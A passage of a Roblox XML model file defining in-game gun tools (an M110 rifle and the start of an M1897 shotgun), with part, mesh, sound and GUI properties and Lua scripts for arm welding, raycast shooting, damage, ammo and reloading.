					<R12>-0.970096886</R12>
					<R20>-0.00242512673</R20>
					<R21>0.999949992</R21>
					<R22>0.00970113277</R22>
				</CoordinateFrame>
				<string name="Name">M110</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=122079992</url></Content>
				<string name="ToolTip">M110</string>
			</Properties>
			<Item class="Part" referent="RBX4662">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-18.6000004</X>
						<Y>-68.5999985</Y>
						<Z>17.8999996</Z>
						<R00>0</R00>
						<R01>1</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>0.200000003</X>
						<Y>4.80000019</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX4663">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=72012972</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1.33000004</X>
							<Y>1.33000004</Y>
							<Z>1.33000004</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4664">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">FireSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209875 </url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4665">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Reload</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=2691591</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4666">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">EquipSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209881</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="PointLight" referent="RBX4667">
					<Properties>
						<float name="Brightness">1.5</float>
						<Color3 name="Color">4294967040</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Flash</string>
						<float name="Range">8</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4668">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Tick</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds//clickfast.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="Animation" referent="RBX4669">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=94331086</url></Content>
					<string name="Name">Recoil</string>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX4670">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">WeldArm</string>
					<ProtectedString name="Source">Tool = script.Parent

local arms = nil
local torso = nil
local welds = {}
local down = false

function Equip(mouse)
&#9;wait(0.01)
&#9;arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
&#9;torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = nil
&#9;&#9;&#9;&#9;sh[2].Part1 = nil
&#9;&#9;&#9;&#9;local weld1 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld1.Part0 = torso
&#9;&#9;&#9;&#9;weld1.Parent = torso
&#9;&#9;&#9;&#9;weld1.Part1 = arms[1]
&#9;&#9;&#9;&#9;weld1.C1 = CFrame.new(-.1, 1.25, .6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(10), math.rad(-90))
&#9;&#9;&#9;&#9;welds[1] = weld1
&#9;&#9;&#9;&#9;local weld2 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld2.Part0 = torso
&#9;&#9;&#9;&#9;weld2.Parent = torso
&#9;&#9;&#9;&#9;weld2.Part1 = arms[2]
&#9;&#9;&#9;&#9;weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
&#9;&#9;&#9;&#9;welds[2] = weld2
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

function Unequip(mouse)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = arms[1]
&#9;&#9;&#9;&#9;sh[2].Part1 = arms[2]
&#9;&#9;&#9;&#9;welds[1].Parent = nil
&#9;&#9;&#9;&#9;welds[2].Parent = nil
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX4671">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">M110</string>
					<ProtectedString name="Source">--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName)
&#9;while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
&#9;return parent[childName]
end

----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does
local Damage = 35
-- How many times per second the gun can fire
local FireRate = 1 / 3.75
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 700
-- In radians the minimum accuracy penalty
local MinSpread = 0.005
-- In radian the maximum accuracy penalty
local MaxSpread = 0.16
-- Number of bullets in a clip
local ClipSize = 15
-- DefaultValue for spare ammo
local SpareAmmo = 150
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = 0.0375
-- Time it takes to reload weapon
local ReloadTime = 2.3
----------------------------------------

-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor&#9;= Color3.new(1, 0, 0)
local NeutralReticleColor&#9;= Color3.new(1, 1, 1)

local Spread = MinSpread
local AmmoInClip = ClipSize

local Tool = script.Parent
local Handle = WaitForChild(Tool, &apos;Handle&apos;)
local WeaponGui = nil

local LeftButtonDown
local Reloading = false
local IsShooting = false

-- Player specific convenience variables
local MyPlayer = nil
local MyCharacter = nil
local MyHumanoid = nil
local MyTorso = nil
local MyMouse = nil

local RecoilAnim
local RecoilTrack = nil

local IconURL = Tool.TextureId  -- URL to the weapon icon asset

local DebrisService = game:GetService(&apos;Debris&apos;)
local PlayersService = game:GetService(&apos;Players&apos;)


local FireSound

local OnFireConnection = nil
local OnReloadConnection = nil

local DecreasedAimLastShot = false
local LastSpreadUpdate = time()

-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil


local WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = Workspace.Terrain.GetCell

function RayIgnoreCheck(hit, pos)
&#9;if hit then
&#9;&#9;if hit.Transparency &gt;= 1 or string.lower(hit.Name) == &quot;water&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Effect&quot; or hit.Name == &quot;Rocket&quot; or hit.Name == &quot;Bullet&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Handle&quot; or hit:IsDescendantOf(MyCharacter) then
&#9;&#9;&#9;return true
&#9;&#9;elseif hit:IsA(&apos;Terrain&apos;) and pos then
&#9;&#9;&#9;local cellPos = WorldToCellFunction(Workspace.Terrain, pos)
&#9;&#9;&#9;if cellPos then
&#9;&#9;&#9;&#9;local cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
&#9;&#9;&#9;&#9;if cellMat and cellMat == Enum.CellMaterial.Water then
&#9;&#9;&#9;&#9;&#9;return true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;return false
end

-- @preconditions: vec should be a unit vector, and 0 &lt; rayLength &lt;= 1000
function RayCast(startPos, vec, rayLength)
&#9;local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
&#9;if hitObject and hitPos then
&#9;&#9;local distance = rayLength - (hitPos - startPos).magnitude
&#9;&#9;if RayIgnoreCheck(hitObject, hitPos) and distance &gt; 0 then
&#9;&#9;&#9;-- there is a chance here for potential infinite recursion
&#9;&#9;&#9;return RayCast(hitPos, vec, distance)
&#9;&#9;end
&#9;end
&#9;return hitObject, hitPos
end



function TagHumanoid(humanoid, player)
&#9;-- Add more tags here to customize what tags are available.
&#9;while humanoid:FindFirstChild(&apos;creator&apos;) do
&#9;&#9;humanoid:FindFirstChild(&apos;creator&apos;):Destroy()
&#9;end 
&#9;local creatorTag = Instance.new(&quot;ObjectValue&quot;)
&#9;creatorTag.Value = player
&#9;creatorTag.Name = &quot;creator&quot;
&#9;creatorTag.Parent = humanoid
&#9;DebrisService:AddItem(creatorTag, 1.5)

&#9;local weaponIconTag = Instance.new(&quot;StringValue&quot;)
&#9;weaponIconTag.Value = IconURL
&#9;weaponIconTag.Name = &quot;icon&quot;
&#9;weaponIconTag.Parent = creatorTag
end


local function CreateBullet(bulletPos)
&#9;local bullet = Instance.new(&apos;Part&apos;, Workspace)
&#9;bullet.FormFactor = Enum.FormFactor.Custom
&#9;bullet.Size = Vector3.new(0.1, 0.1, 0.1)
&#9;bullet.BrickColor = BrickColor.new(&quot;Black&quot;)
&#9;bullet.Shape = Enum.PartType.Block
&#9;bullet.CanCollide = false
&#9;bullet.CFrame = CFrame.new(bulletPos)
&#9;bullet.Anchored = true
&#9;bullet.TopSurface = Enum.SurfaceType.Smooth
&#9;bullet.BottomSurface = Enum.SurfaceType.Smooth
&#9;bullet.Name = &apos;Bullet&apos;
&#9;DebrisService:AddItem(bullet, 2.5)
&#9;return bullet
end

local function Reload()
&#9;if not Reloading then
&#9;&#9;Reloading = true
&#9;&#9;-- Don&apos;t reload if you are already full or have no extra ammo
&#9;&#9;if AmmoInClip ~= ClipSize and SpareAmmo &gt; 0 then
&#9;&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;&#9;end
&#9;&#9;&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;&#9;&#9;if WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(ReloadTime)
&#9;&#9;&#9;-- Only use as much ammo as you have
&#9;&#9;&#9;local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
&#9;&#9;&#9;AmmoInClip = AmmoInClip + ammoToUse
&#9;&#9;&#9;SpareAmmo = SpareAmmo - ammoToUse
&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;WeaponGui.Reload.Visible = false
&#9;&#9;end
&#9;&#9;Reloading = false
&#9;end
end

function OnFire()
&#9;if IsShooting then return end
&#9;if MyHumanoid and MyHumanoid.Health &gt; 0 then
&#9;&#9;if RecoilTrack and AmmoInClip &gt; 0 then
&#9;&#9;&#9;RecoilTrack:Play()
&#9;&#9;end
&#9;&#9;IsShooting = true
&#9;&#9;while LeftButtonDown and AmmoInClip &gt; 0 and not Reloading do
&#9;&#9;&#9;if Spread and not DecreasedAimLastShot then
&#9;&#9;&#9;&#9;Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
&#9;&#9;&#9;&#9;UpdateCrosshair(Spread)
&#9;&#9;&#9;end
&#9;&#9;&#9;DecreasedAimLastShot = not DecreasedAimLastShot
&#9;&#9;&#9;if Handle:FindFirstChild(&apos;FireSound&apos;) then
&#9;&#9;&#9;&#9;Handle.FireSound:Play()
&#9;&#9;&#9;&#9;Handle.Flash.Enabled = true
&#9;&#9;&#9;end
&#9;&#9;&#9;if MyMouse then
&#9;&#9;&#9;&#9;local targetPoint = MyMouse.Hit.p
&#9;&#9;&#9;&#9;local shootDirection = (targetPoint - Handle.Position).unit
&#9;&#9;&#9;&#9;-- Adjust the shoot direction randomly off by a little bit to account for recoil
&#9;&#9;&#9;&#9;shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread) * shootDirection
&#9;&#9;&#9;&#9;local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
&#9;&#9;&#9;&#9;local bullet
&#9;&#9;&#9;&#9;-- Create a bullet here
&#9;&#9;&#9;&#9;if hitObject then
&#9;&#9;&#9;&#9;&#9;bullet = CreateBullet(bulletPos)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;if hitObject and hitObject.Parent then
&#9;&#9;&#9;&#9;&#9;local hitHumanoid = hitObject.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;&#9;&#9;if hitHumanoid then
&#9;&#9;&#9;&#9;&#9;&#9;local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
&#9;&#9;&#9;&#9;&#9;&#9;if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;
&#9;&#9;&#9;&#9;AmmoInClip = AmmoInClip - 1
&#9;&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;end
&#9;&#9;&#9;wait(.2); Handle.Flash.Enabled = false
&#9;&#9;&#9;wait(FireRate)
&#9;&#9;&#9;OnMouseUp()
&#9;&#9;end
&#9;&#9;IsShooting = false
&#9;&#9;if AmmoInClip == 0 then
&#9;&#9;&#9;Handle.Tick:Play()
&#9;&#9;&#9;WeaponGui.Reload.Visible = true
&#9;&#9;end
&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;end
&#9;end
end

local TargetHits = 0
function UpdateTargetHit()
&#9;TargetHits = TargetHits + 1
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = true
&#9;end
&#9;wait(0.5)
&#9;TargetHits = TargetHits - 1
&#9;if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = false
&#9;end
end

function UpdateCrosshair(value, mouse)
&#9;if WeaponGui then
&#9;&#9;local absoluteY = 650
&#9;&#9;WeaponGui.Crosshair:TweenSize(
&#9;&#9;&#9;UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
&#9;&#9;&#9;Enum.EasingDirection.Out,
&#9;&#9;&#9;Enum.EasingStyle.Linear,
&#9;&#9;&#9;0.33)
&#9;end
end

function UpdateAmmo(value)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;ClipAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
&#9;&#9;if value &gt; 0 and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = false
&#9;&#9;end
&#9;end
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;TotalAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
&#9;end
end


function OnMouseDown()
&#9;LeftButtonDown = true
&#9;OnFire()
end

function OnMouseUp()
&#9;LeftButtonDown = false
end

function OnKeyDown(key)
&#9;if string.lower(key) == &apos;r&apos; then
&#9;&#9;Reload()
&#9;end
end


function OnEquipped(mouse)
&#9;Handle.EquipSound:Play()
&#9;RecoilAnim = WaitForChild(Tool, &apos;Recoil&apos;)
&#9;FireSound  = WaitForChild(Handle, &apos;FireSound&apos;)

&#9;MyCharacter = Tool.Parent
&#9;MyPlayer = game:GetService(&apos;Players&apos;):GetPlayerFromCharacter(MyCharacter)
&#9;MyHumanoid = MyCharacter:FindFirstChild(&apos;Humanoid&apos;)
&#9;MyTorso = MyCharacter:FindFirstChild(&apos;Torso&apos;)
&#9;MyMouse = mouse
&#9;WeaponGui = WaitForChild(Tool, &apos;WeaponHud&apos;):Clone()
&#9;if WeaponGui and MyPlayer then
&#9;&#9;WeaponGui.Parent = MyPlayer.PlayerGui
&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;end
&#9;if RecoilAnim then
&#9;&#9;RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim)
&#9;end

&#9;if MyMouse then
&#9;&#9;-- Disable mouse icon
&#9;&#9;MyMouse.Icon = &quot;http://www.roblox.com/asset/?id=18662154&quot;
&#9;&#9;MyMouse.Button1Down:connect(OnMouseDown)
&#9;&#9;MyMouse.Button1Up:connect(OnMouseUp)
&#9;&#9;MyMouse.KeyDown:connect(OnKeyDown)
&#9;end
end


-- Unequip logic here
function OnUnequipped()
&#9;LeftButtonDown = false
&#9;Reloading = false
&#9;MyCharacter = nil
&#9;MyHumanoid = nil
&#9;MyTorso = nil
&#9;MyPlayer = nil
&#9;MyMouse = nil
&#9;if OnFireConnection then
&#9;&#9;OnFireConnection:disconnect()
&#9;end
&#9;if OnReloadConnection then
&#9;&#9;OnReloadConnection:disconnect()
&#9;end
&#9;if FlashHolder then
&#9;&#9;FlashHolder = nil
&#9;end
&#9;if WeaponGui then
&#9;&#9;WeaponGui.Parent = nil
&#9;&#9;WeaponGui = nil
&#9;end
&#9;if RecoilTrack then
&#9;&#9;RecoilTrack:Stop()
&#9;end
end

local function SetReticleColor(color)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
&#9;&#9;&#9;if line:IsA(&apos;Frame&apos;) then
&#9;&#9;&#9;&#9;line.BorderColor3 = color
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end


Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

while true do
&#9;wait(0.033)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and MyMouse then
&#9;&#9;WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
&#9;&#9;SetReticleColor(NeutralReticleColor)

&#9;&#9;local target = MyMouse.Target
&#9;&#9;if target and target.Parent then
&#9;&#9;&#9;local player = PlayersService:GetPlayerFromCharacter(target.Parent)
&#9;&#9;&#9;if player then
&#9;&#9;&#9;&#9;if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;SetReticleColor(EnemyReticleColor)
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;SetReticleColor(FriendlyReticleColor)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;if Spread and not IsShooting then
&#9;&#9;local currTime = time()
&#9;&#9;if currTime - LastSpreadUpdate &gt; FireRate * 2 then
&#9;&#9;&#9;LastSpreadUpdate = currTime
&#9;&#9;&#9;Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
&#9;&#9;&#9;UpdateCrosshair(Spread, MyMouse)
&#9;&#9;end
&#9;end
end
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							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX4684">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Reload</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-120</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">false</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX4685">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">7</token>
							<string name="Name">Reload</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Press R to Reload</string>
							<Color3 name="TextColor3">4294901760</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX4686">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0.239999995</X>
					<Y>-0.200000003</Y>
					<Z>0.400000006</Z>
					<R00>0.970142484</R00>
					<R01>0</R01>
					<R02>0.242535636</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0.242535636</R20>
					<R21>0</R21>
					<R22>0.970142484</R22>
				</CoordinateFrame>
				<string name="Name">M1897</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=122080004</url></Content>
				<string name="ToolTip">M1897</string>
			</Properties>
			<Item class="Part" referent="RBX4687">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-18.1000004</X>
						<Y>-68.5</Y>
						<Z>18.9000015</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>0.26000005</X>
						<Y>1.1099999</Y>
						<Z>3.84999323</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX4688">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=94219391</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>0.800000012</X>
							<Y>0.800000012</Y>
							<Z>0.649999976</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4689">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">FireSound</string>
						<float name="Pitch">0.699999988</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://roblox.com/asset/?id=10209842 </url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4690">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">PumpSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
